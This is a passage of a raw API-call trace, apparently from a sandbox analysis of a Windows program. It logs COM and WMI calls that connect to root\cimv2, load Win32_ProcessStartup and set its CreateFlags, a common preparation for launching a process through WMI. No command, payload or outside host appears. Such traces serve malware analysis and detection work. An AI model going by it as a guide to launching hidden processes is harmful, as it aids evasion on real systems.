riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c630 | out: ppvObject=0x1b10c630*=0x0) returned 0x80004002 [0125.865] CoGetContextToken (in: pToken=0x1b10c6e0 | out: pToken=0x1b10c6e0) returned 0x0 [0125.866] CoGetObjectContext (in: riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b3f4e68 | out: ppv=0x1b3f4e68*=0x3111c0) returned 0x0 [0125.866] CoGetContextToken (in: pToken=0x1b10cb60 | out: pToken=0x1b10cb60) returned 0x0 [0125.866] WbemLocator:IUnknown:QueryInterface (in: This=0x33a340, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc20 | out: ppvObject=0x1b10cc20*=0x0) returned 0x80004002 [0125.866] WbemLocator:IUnknown:Release (This=0x33a340) returned 0x2 [0125.866] WbemLocator:IUnknown:Release (This=0x33a340) returned 0x1 [0125.868] CoGetContextToken (in: pToken=0x1b10d5a0 | out: pToken=0x1b10d5a0) returned 0x0 [0125.868] CoGetContextToken (in: pToken=0x1b10d4a0 | out: pToken=0x1b10d4a0) returned 0x0 [0125.868] WbemLocator:IUnknown:QueryInterface (in: This=0x33a340, riid=0x1b10d600*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d5d0 | out: ppvObject=0x1b10d5d0*=0x33a340) returned 0x0 [0125.868] WbemLocator:IUnknown:AddRef (This=0x33a340) returned 0x3 [0125.868] WbemLocator:IUnknown:Release (This=0x33a340) returned 0x2 [0125.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351bc0, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0125.895] WbemDefPath:IWbemPath:GetText (in: This=0x351bc0, lFlags=8, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0125.895] WbemDefPath:IWbemPath:GetText (in: This=0x351bc0, lFlags=8, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.900] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d720 | out: ppv=0x1b10d720*=0x33a3a0) returned 0x0 [0125.900] WbemLocator:IWbemLocator:ConnectServer (in: This=0x33a3a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d898 | out: ppNamespace=0x1b10d898*=0x1b403090) returned 0x0 [0127.574] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403090, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d598 | out: ppvObject=0x1b10d598*=0x1b3ddd70) returned 0x0 [0127.575] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b3ddd70, pProxy=0x1b403090, pAuthnSvc=0x1b10d660, pAuthzSvc=0x1b10d5e0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4, pImpLevel=0x1b10d5f0, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4 | out: pAuthnSvc=0x1b10d660*=0xa, pAuthzSvc=0x1b10d5e0*=0x0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4*=0x6, pImpLevel=0x1b10d5f0*=0x2, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4*=0x1) returned 0x0 [0127.575] WbemLocator:IUnknown:Release (This=0x1b3ddd70) returned 0x1 [0127.575] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403090, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b3dddb8) returned 0x0 [0127.575] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403090, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b3ddd70) returned 0x0 [0127.575] WbemLocator:IClientSecurity:SetBlanket (This=0x1b3ddd70, pProxy=0x1b403090, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.575] WbemLocator:IUnknown:Release (This=0x1b3ddd70) returned 0x2 [0127.575] WbemLocator:IUnknown:Release (This=0x1b3dddb8) returned 0x1 [0127.576] CoTaskMemFree (pv=0x1b420d10) [0127.576] WbemLocator:IUnknown:Release (This=0x33a3a0) returned 0x0 [0127.576] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403090, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x1b3dddb8) returned 0x0 [0127.576] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3dddb8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d0c0 | out: ppvObject=0x1b10d0c0*=0x0) returned 0x80004002 [0127.577] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3dddb8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0127.577] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403090, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c8b8 | out: ppvObject=0x1b10c8b8*=0x0) returned 0x80004002 [0127.578] WbemLocator:IUnknown:AddRef (This=0x1b3dddb8) returned 0x3 [0127.578] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3dddb8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c778 | out: ppvObject=0x1b10c778*=0x0) returned 0x80004002 [0127.578] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3dddb8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c700 | out: ppvObject=0x1b10c700*=0x0) returned 0x80004002 [0127.578] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3dddb8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c6f0 | out: ppvObject=0x1b10c6f0*=0x1b3ddc98) returned 0x0 [0127.578] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3ddc98, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c718 | out: pCid=0x1b10c718*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.578] WbemLocator:IUnknown:Release (This=0x1b3ddc98) returned 0x3 [0127.578] CoGetContextToken (in: pToken=0x1b10c7a0 | out: pToken=0x1b10c7a0) returned 0x0 [0127.578] CoGetObjectContext (in: riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b420fb8 | out: ppv=0x1b420fb8*=0x3111c0) returned 0x0 [0127.578] CoGetContextToken (in: pToken=0x1b10cc20 | out: pToken=0x1b10cc20) returned 0x0 [0127.579] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3dddb8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x1b3ddd80) returned 0x0 [0127.579] WbemLocator:IRpcOptions:Query (in: This=0x1b3ddd80, pPrx=0x1b3dddb8, dwProperty=2, pdwValue=0x1b10ccd0 | out: pdwValue=0x1b10ccd0) returned 0x80004002 [0127.579] WbemLocator:IUnknown:Release (This=0x1b3ddd80) returned 0x3 [0127.579] WbemLocator:IUnknown:Release (This=0x1b3dddb8) returned 0x2 [0127.579] CoGetContextToken (in: pToken=0x1b10d2e0 | out: pToken=0x1b10d2e0) returned 0x0 [0127.579] CoGetContextToken (in: pToken=0x1b10d1e0 | out: pToken=0x1b10d1e0) returned 0x0 [0127.579] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3dddb8, riid=0x1b10d340*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d310 | out: ppvObject=0x1b10d310*=0x1b403090) returned 0x0 [0127.579] WbemLocator:IUnknown:AddRef (This=0x1b403090) returned 0x4 [0127.579] WbemLocator:IUnknown:Release (This=0x1b403090) returned 0x3 [0127.579] WbemLocator:IUnknown:Release (This=0x1b403090) returned 0x2 [0127.659] SysStringLen (param_1=0x0) returned 0x0 [0127.660] CoGetContextToken (in: pToken=0x1b10d3b0 | out: pToken=0x1b10d3b0) returned 0x0 [0127.660] WbemLocator:IUnknown:AddRef (This=0x1b3dddb8) returned 0x3 [0127.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3dddb8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d3b0 | out: ppvObject=0x1b10d3b0*=0x1b3dddb8) returned 0x0 [0127.661] WbemLocator:IUnknown:Release (This=0x1b3dddb8) returned 0x3 [0127.661] WbemLocator:IUnknown:Release (This=0x1b3dddb8) returned 0x2 [0127.661] WbemDefPath:IWbemPath:GetText (in: This=0x3518c0, lFlags=2, puBuffLength=0x1b10dab0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10dab0*=0x15, pszText=0x0) returned 0x0 [0127.661] WbemDefPath:IWbemPath:GetText (in: This=0x3518c0, lFlags=2, puBuffLength=0x1b10dab0*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10dab0*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0127.708] IWbemServices:GetObject (in: This=0x1b403090, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b10da30*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10da30*=0x1b4243b0, ppCallResult=0x0) returned 0x0 [0127.776] IWbemClassObject:Get (in: This=0x1b4243b0, wszName="__PATH", lFlags=0, pVal=0x1b10d9e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10db28*=0, plFlavor=0x1b10db20*=0 | out: pVal=0x1b10d9e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b10db28*=8, plFlavor=0x1b10db20*=64) returned 0x0 [0127.779] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0127.779] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0127.780] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9f8 | out: ppv=0x1b10d9f8*=0x3111d8) returned 0x0 [0127.780] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9e8 | out: pAptType=0x1b10d9e8*=1) returned 0x0 [0127.780] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9f0 | out: ppvObject=0x1b10d9f0*=0x0) returned 0x80004002 [0127.780] IUnknown:Release (This=0x3111d8) returned 0x1 [0127.781] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cde8 | out: ppv=0x1b10cde8*=0x33a040) returned 0x0 [0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a040, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ced0 | out: ppvObject=0x1b10ced0*=0x0) returned 0x80004002 [0127.782] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a040, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cea8 | out: ppvObject=0x1b10cea8*=0x351200) returned 0x0 [0127.782] WbemDefPath:IUnknown:Release (This=0x33a040) returned 0x0 [0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x351200, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x351200) returned 0x0 [0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x351200, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x351200, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c4d8 | out: ppvObject=0x1b10c4d8*=0x0) returned 0x80004002 [0127.782] WbemDefPath:IUnknown:AddRef (This=0x351200) returned 0x3 [0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x351200, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c398 | out: ppvObject=0x1b10c398*=0x0) returned 0x80004002 [0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x351200, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c320 | out: ppvObject=0x1b10c320*=0x0) returned 0x80004002 [0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x351200, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c310 | out: ppvObject=0x1b10c310*=0x339d80) returned 0x0 [0127.783] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x339d80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c338 | out: pCid=0x1b10c338*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.783] WbemDefPath:IUnknown:Release (This=0x339d80) returned 0x3 [0127.783] CoGetContextToken (in: pToken=0x1b10c3c0 | out: pToken=0x1b10c3c0) returned 0x0 [0127.783] CoGetContextToken (in: pToken=0x1b10c840 | out: pToken=0x1b10c840) returned 0x0 [0127.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x351200, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c900 | out: ppvObject=0x1b10c900*=0x0) returned 0x80004002 [0127.783] WbemDefPath:IUnknown:Release (This=0x351200) returned 0x2 [0127.783] WbemDefPath:IUnknown:Release (This=0x351200) returned 0x1 [0127.783] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0127.783] CoGetContextToken (in: pToken=0x1b10d530 | out: pToken=0x1b10d530) returned 0x0 [0127.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x351200, riid=0x1b10d690*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d660 | out: ppvObject=0x1b10d660*=0x351200) returned 0x0 [0127.783] WbemDefPath:IUnknown:AddRef (This=0x351200) returned 0x3 [0127.783] WbemDefPath:IUnknown:Release (This=0x351200) returned 0x2 [0127.783] WbemDefPath:IWbemPath:SetText (This=0x351200, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0127.796] IWbemClassObject:Get (in: This=0x1b4243b0, wszName="CreateFlags", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c1310*=0, plFlavor=0x29c1314*=0 | out: pVal=0x1b10da60*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c1310*=19, plFlavor=0x29c1314*=0) returned 0x0 [0127.812] IWbemClassObject:Get (in: This=0x1b4243b0, wszName="CreateFlags", lFlags=0, pVal=0x1b10da50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c1310*=19, plFlavor=0x29c1314*=0 | out: pVal=0x1b10da50*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c1310*=19, plFlavor=0x29c1314*=0) returned 0x0 [0127.815] IWbemClassObject:Put (This=0x1b4243b0, wszName="CreateFlags", lFlags=0, pVal=0x1b10dab0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0127.818] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3515c0, puCount=0x1b10da18 | out: puCount=0x1b10da18*=0x0) returned 0x0 [0127.818] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0127.818] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0127.818] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.819] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d928 | out: ppv=0x1b10d928*=0x3111d8) returned 0x0 [0127.820] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d918 | out: pAptType=0x1b10d918*=1) returned 0x0 [0127.820] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d920 | out: ppvObject=0x1b10d920*=0x0) returned 0x80004002 [0127.820] IUnknown:Release (This=0x3111d8) returned 0x1 [0127.821] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd18 | out: ppv=0x1b10cd18*=0x33a080) returned 0x0 [0127.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a080, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce00 | out: ppvObject=0x1b10ce00*=0x0) returned 0x80004002 [0127.821] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a080, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cdd8 | out: ppvObject=0x1b10cdd8*=0x351ec0) returned 0x0 [0127.821] WbemDefPath:IUnknown:Release (This=0x33a080) returned 0x0 [0127.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x351ec0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb80 | out: ppvObject=0x1b10cb80*=0x351ec0) returned 0x0 [0127.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x351ec0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x0) returned 0x80004002 [0127.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x351ec0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c408 | out: ppvObject=0x1b10c408*=0x0) returned 0x80004002 [0127.821] WbemDefPath:IUnknown:AddRef (This=0x351ec0) returned 0x3 [0127.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x351ec0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c2c8 | out: ppvObject=0x1b10c2c8*=0x0) returned 0x80004002 [0127.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x351ec0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c250 | out: ppvObject=0x1b10c250*=0x0) returned 0x80004002 [0127.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x351ec0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c240 | out: ppvObject=0x1b10c240*=0x33a3a0) returned 0x0 [0127.822] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a3a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c268 | out: pCid=0x1b10c268*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.822] WbemDefPath:IUnknown:Release (This=0x33a3a0) returned 0x3 [0127.822] CoGetContextToken (in: pToken=0x1b10c2f0 | out: pToken=0x1b10c2f0) returned 0x0 [0127.822] CoGetContextToken (in: pToken=0x1b10c770 | out: pToken=0x1b10c770) returned 0x0 [0127.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x351ec0, 